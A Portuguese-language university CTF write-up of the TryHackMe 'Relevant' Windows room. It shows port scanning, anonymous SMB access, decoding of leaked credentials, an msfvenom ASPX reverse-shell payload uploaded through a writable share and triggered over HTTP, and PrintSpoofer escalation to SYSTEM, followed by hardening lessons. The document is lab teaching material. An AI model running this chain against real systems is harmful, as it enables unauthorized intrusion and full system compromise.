

Universidade de Brasília
Tópicos Avançados em Computadores

Write-Up

TryHackMe – Relevant

Plataforma: TryHackMe
Dificuldade: Médio
Data de Resolução: 27/06/2026

Autor: Mateus Reis Bastos
Matrícula: 241008513

Universidade de Brasília – UnB
2026

Sumário

1	Visão Geral	2
2	Reconhecimento	2
2.1	Varredura de Portas	2
2.2	Enumeração Web	3
3	Exploração Inicial	4
3.1	Enumeração do SMB	4
3.2	Decodificação das Credenciais	4
3.3	Ponto de Execução	5
3.4	Criação e Upload do Webshell	5
4	Escalada de Privilégios	6
4.1	Identificação do Vetor	6
4.2	Exploração com PrintSpoofer	6
5	Conclusão	6

1 Visão Geral

A máquina Relevant é um desafio de nível intermediário que simula um teste de penetração em ambiente Windows sem conhecimento prévio da infraestrutura (*black box*). O objetivo é explorar uma configuração incorreta de compartilhamento **SMB** para obter execução remota de código e, em seguida, abusar do privilégio **SeImpersonatePrivilege** para escalar para **NT AUTHORITY\SYSTEM**.

O caminho de exploração envolve três etapas principais: enumeração de portas não convencionais, descoberta de um compartilhamento SMB anônimo e gravável que espelha um diretório do servidor web, e escalada de privilégios via *token impersonation* com o **PrintSpoofer**.

2 Reconhecimento

2.1 Varredura de Portas

Como o enunciado do desafio orienta a tratar a máquina como uma avaliação de caixa preta, a primeira ação foi realizar uma varredura completa de todas as 65.535 portas TCP para não perder serviços em portas não convencionais.

```
1 nmap -p- -sV -sC -T4 relevant.thm
```

Listing 1: Varredura completa de portas com Nmap

A varredura revelou as seguintes portas abertas:

- **Porta 80:** HTTP — Microsoft IIS 10.0
- **Porta 135:** MSRPC
- **Porta 139:** NetBIOS-SSN (SMB)
- **Porta 445:** Microsoft-DS (SMB)
- **Porta 3389:** RDP — Microsoft Terminal Services
- **Porta 49663:** HTTP — Microsoft IIS 10.0 (segunda instância)
- **Porta 49666:** MSRPC
- **Porta 49668:** MSRPC

```
(kali@kali)-[~/Downloads]
$ nmap -sC -sV -T4 -p- relevant.thm
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-28 09:29 -0400
Nmap scan report for relevant.thm (10.67.167.170)
Host is up (0.13s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
80/tcp    open  http           Microsoft IIS httpd 10.0
|_ http-title: IIS Windows Server
|_ http-server-header: Microsoft-IIS/10.0
|_ http-methods:
|_ Potentially risky methods: TRACE
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp  open  ms-wbt-server  Microsoft Terminal Services
|_ ssl-cert: Subject: commonName=Relevant
|_ Not valid before: 2026-06-27T13:18:12
|_ Not valid after: 2026-12-27T13:18:12
|_ ssl-date: 2026-06-28T13:33:22+00:00; -2s from scanner time.
|_ rdp-ntlm-info:
|_ Target_Name: RELEVANT
|_ NetBIOS_Domain_Name: RELEVANT
|_ NetBIOS_Computer_Name: RELEVANT
|_ DNS_Domain_Name: Relevant
|_ DNS_Computer_Name: Relevant
|_ Product_Version: 10.0.14393
|_ System_Time: 2026-06-28T13:32:43+00:00
49663/tcp open  http           Microsoft IIS httpd 10.0
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: IIS Windows Server
49666/tcp open  msrpc          Microsoft Windows RPC
49667/tcp open  msrpc          Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb-security-mode:
|_ account_used: guest
|_ authentication_level: user
|_ challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb-os-discovery:
|_ OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|_ Computer name: Relevant
|_ NetBIOS computer name: RELEVANT\x00
|_ Workgroup: WORKGROUP\x00
|_ System time: 2026-06-28T06:32:47-07:00
|_ smb2-security-mode:
|_ 3.1.1:
|_ Message signing enabled but not required
|_ smb2-time:
|_ date: 2026-06-28T13:32:46
|_ start_date: 2026-06-28T13:18:12
|_ clock-skew: mean: 1h23m59s, deviation: 3h07m52s, median: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 213.00 seconds
```

Figura 1: Resultado da varredura completa do Nmap mostrando as portas abertas.

O ponto mais relevante foi a existência de **dois servidores IIS**: um na porta padrão 80 e outro na porta não convencional **49663**. Isso é um indicativo importante de que pode haver conteúdo diferente servido na segunda instância.

2.2 Enumeração Web

Ao acessar a porta 80 pelo navegador, a página padrão do IIS 10.0 era exibida, sem nenhum conteúdo customizado. Para mapear a estrutura do servidor web em ambas as instâncias do IIS (portas 80 e 49663), foi executado um scan com a ferramenta **DirBuster**.

```
1 feroxbuster -u http://relevant.thm:49663/ -w /usr/share/
  wordlists/dirb/common.txt -x aspx,txt -t 50
```

Listing 2: Enumeração de diretórios

Enquanto a varredura na porta 80 não revelou caminhos de interesse, a varredura na porta 49663 confirmou que o diretório `/nt4wrksv/` estava acessível via HTTP. O foco foi então deslocado para a enumeração inicial do serviço **SMB**.

```

kali@kali:~/Downloads$ feroxbuster -u http://relevant.thm:49663/ -w /usr/share/wordlists/dirb/common.txt -x aspx,txt -t 50
FEROXBUSTER
by Ben "epi" Risher ver: 2.13.1

Target Url      http://relevant.thm:49663/
In-Scope Url    relevant.thm
Threads        50
Wordlist         /usr/share/wordlists/dirb/common.txt
Status Codes    All Status Codes
Timeout (secs)  7
User-Agent      feroxbuster/2.13.1
Config File     /etc/feroxbuster/ferox-config.toml
Extract Links   true
Extensions      [aspx, txt]
HTTP methods    [GET]
Recursion Depth 4

Press [ENTER] to use the Scan Management Menu™

401 GET 0l 0w 0c Auto-filtering found 401-like response and created new filter; toggle off with --dont-filter
404 GET 40l 156w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 334l 2089w 180418c http://relevant.thm:49663/iisstart.png
703c http://relevant.thm:49663/
183c http://relevant.thm:49663/aspnet_client/ => http://relevant.thm:49663/aspnet_client/
174c http://relevant.thm:49663/aspnet_client/system_web => http://relevant.thm:49663/aspnet_client/system_web/
[=====] - 75s 41553/41553 0s Found:4 error:0
[=====] - 39s 13842/13842 358/s http://relevant.thm:49663/
[=====] - 37s 13842/13842 370/s http://relevant.thm:49663/aspnet_client/
[=====] - 37s 13842/13842 371/s http://relevant.thm:49663/aspnet_client/system_web/

```

Figura 2: Resultado da varredura do Feroxbuster.

3 Exploração Inicial

3.1 Enumeração do SMB

Utilizei o `smbclient` para listar os compartilhamentos disponíveis sem fornecer credenciais (acesso anônimo).

```
1 smbclient -L // relevant.thm / -N
```

Listing 3: Listagem de compartilhamentos SMB anônimos

O comando retornou quatro compartilhamentos. Além dos compartilhamentos administrativos padrão do Windows (`ADMIN$`, `C$`, `IPC$`), havia um compartilhamento não padrão chamado `nt4wrksv`, que podia ser acessado anonimamente.

```
1 smbclient // relevant.thm /nt4wrksv -N
```

Listing 4: Acesso anônimo ao compartilhamento `nt4wrksv`

Dentro do compartilhamento, encontrei um arquivo chamado `passwords.txt`.

```
1 smb: \> get passwords.txt
```

Listing 5: Download do arquivo de senhas encontrado no SMB

3.2 Decodificação das Credenciais

O conteúdo do `passwords.txt` estava codificado em **Base64**. Decodifiquei as strings para obter pares de credenciais em texto claro.

```

1 echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
2 # Saída: Bob - !P0$$W0rD!123
3

```

```
4 echo "QmlsbCAtIEp1dzRubmFNNG44NzY1NDMh" | base64 -d
5 # Saída: Bill - Juw4nnaM4n876543!
```

Listing 6: Decodificação das strings Base64 do arquivo de senhas

Obtive dois pares de credenciais: Bob com a senha !P@\$\$W0rD!123 e Bill com a senha Juw4nnaM4n876543!. Tentei usar essas credenciais para acessar o RDP e outros serviços, mas sem sucesso. Elas funcionam como referência, mas não são o vetor de ataque principal.

3.3 Ponto de Execução

Como descoberto na fase de reconhecimento web (onde identificamos o diretório /nt4wrksv/ na porta 49663), o compartilhamento SMB que acabamos de explorar servia seus arquivos diretamente pelo servidor web. Essa é uma configuração crítica que conectava os dois vetores de ataque, permitindo que escrevêssemos via SMB e executássemos via HTTP.

3.4 Criação e Upload do Webshell

Com a escrita no SMB e a execução via HTTP confirmadas, criei um *payload* de *reverse shell* em formato **ASPX** usando o **msfvenom**.

```
1 msfvenom -p windows/x64/shell_reverse_tcp \
2   LHOST=<MEU_IP_VPN> LPORT=4444 \
3   -f aspx -o shell.aspx
```

Listing 7: Geração do payload ASPX com msfvenom

Em seguida, fiz o upload do arquivo `shell.aspx` diretamente para o compartilhamento SMB gravável.

```
1 smbclient // relevant.thm /nt4wrksv -N
2 smb: \> put shell.aspx
```

Listing 8: Upload do webshell via SMB

Antes de acionar o shell, abri um *listener* com o **Netcat** na minha máquina de ataque para receber a conexão de retorno.

```
1 nc -lnvp 4444
```

Listing 9: Inicializando ouvinte para receber o reverse shell

Por fim, requisitei o arquivo pelo navegador para executar o *payload* no servidor.

```
1 curl http://relevant.thm:49663/nt4wrksv/shell.aspx
```

Listing 10: Acionamento do webshell via requisição HTTP

O *listener* recebeu a conexão e obtive um shell como o usuário `iis apppool\defaultapppool`. Nesse ponto, já foi possível capturar a *flag* de usuário em `C:\Users\Bob\Desktop\user.txt`.

4 Escalada de Privilégios

4.1 Identificação do Vetor

Com o shell em mãos, executei o comando `whoami /priv` para verificar os privilégios do usuário atual.

```
1 whoami /priv
```

Listing 11: Verificação dos privilégios do usuário atual

O resultado mostrou que o `SeImpersonatePrivilege` estava **habilitado**. Esse privilégio é concedido a contas de serviço do IIS para que possam representar clientes em operações autenticadas. No entanto, ele também pode ser abusado por um atacante para impersonar tokens de usuários privilegiados e escalar para `NT AUTHORITY\SYSTEM`.

4.2 Exploração com PrintSpoofer

A ferramenta **PrintSpoofer** explora o serviço de *Print Spooler* do Windows para forçar o sistema a se autenticar contra um *named pipe* controlado pelo atacante. Como o serviço roda como `SYSTEM`, o token capturado possui privilégios máximos, e o `SeImpersonatePrivilege` permite ao nosso processo utilizá-lo para abrir um shell com permissões totais.

Fiz o download do executável `PrintSpoofer64.exe` na minha máquina de ataque e o transferi para o alvo usando o mesmo compartilhamento SMB.

```
1 # Na máquina de ataque:
2 smbclient // relevant.thm /nt4wrksv -N
3 smb: \> put PrintSpoofer64.exe
```

Listing 12: Upload do PrintSpoofer via compartilhamento SMB

Com o binário no servidor, executei-o a partir do shell reverso para obter um prompt interativo como `SYSTEM`.

```
1 C:\inetpub\wwwroot\nt4wrksv\PrintSpoofer64.exe -i -c cmd
```

Listing 13: Execução do PrintSpoofer para escalada de privilégios

A escalada foi bem-sucedida. Com acesso total ao sistema, naveguei até o desktop do Administrador e coletei a *flag* de root.

```
1 type C:\Users\Administrator\Desktop\root.txt
```

Listing 14: Captura da flag de root

5 Conclusão

A máquina Relevant demonstra como a combinação de duas configurações incorretas aparentemente independentes pode resultar em um comprometimento total do sistema. O compartilhamento SMB gravável, por si só, não seria fatal se não estivesse espelhado em um servidor web capaz de executar código `.aspx`. Da mesma forma, o

`SeImpersonatePrivilege` é um privilégio comum em contas de serviço do IIS, mas, em mãos erradas, representa uma porta de entrada direta para o `SYSTEM`.

Os principais aprendizados desta máquina são:

- **Varredura de todas as portas é obrigatória:** A porta 49663 seria facilmente ignorada em uma varredura padrão, e com ela toda a cadeia de exploração se perderia.
- **Compartilhamentos SMB anônimos são críticos:** Nunca se deve permitir acesso de escrita anônimo a diretórios que possam ser acessados pelo servidor web. Isso transforma o servidor em uma plataforma de execução de código para qualquer atacante não autenticado.
- **Credenciais em texto claro no servidor:** O arquivo `passwords.txt` codificado em Base64 não oferece nenhuma proteção real. Base64 é codificação, não criptografia.
- **Controle de privilégios de conta de serviço:** O privilégio `SeImpersonatePrivilege` deve ser monitorado de perto. Quando possível, use contas com o mínimo de privilégios necessário e desative o serviço de *Print Spooler* em servidores que não o necessitam.

Referências

- [1] TryHackMe. *Relevant — Penetration Testing Challenge*. Disponível em: <https://tryhackme.com/room/relevant>
- [2] itm4n. *PrintSpoofer — Abusing Impersonation Privileges on Windows 10 and Server 2019*. Disponível em: <https://github.com/itm4n/PrintSpoofer>
- [3] HackTricks. *Windows Privilege Escalation — SeImpersonatePrivilege*. Disponível em: <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens>
- [4] Offensive Security. *MSFvenom Cheat Sheet*. Disponível em: <https://www.offensive-security.com/metasploit-unleashed/msfvenom/>
- [5] Samba Team. *smbclient — ftp-like client to access SMB/CIFS resources*. Disponível em: <https://www.samba.org/samba/docs/current/man-html/smbclient.1.html>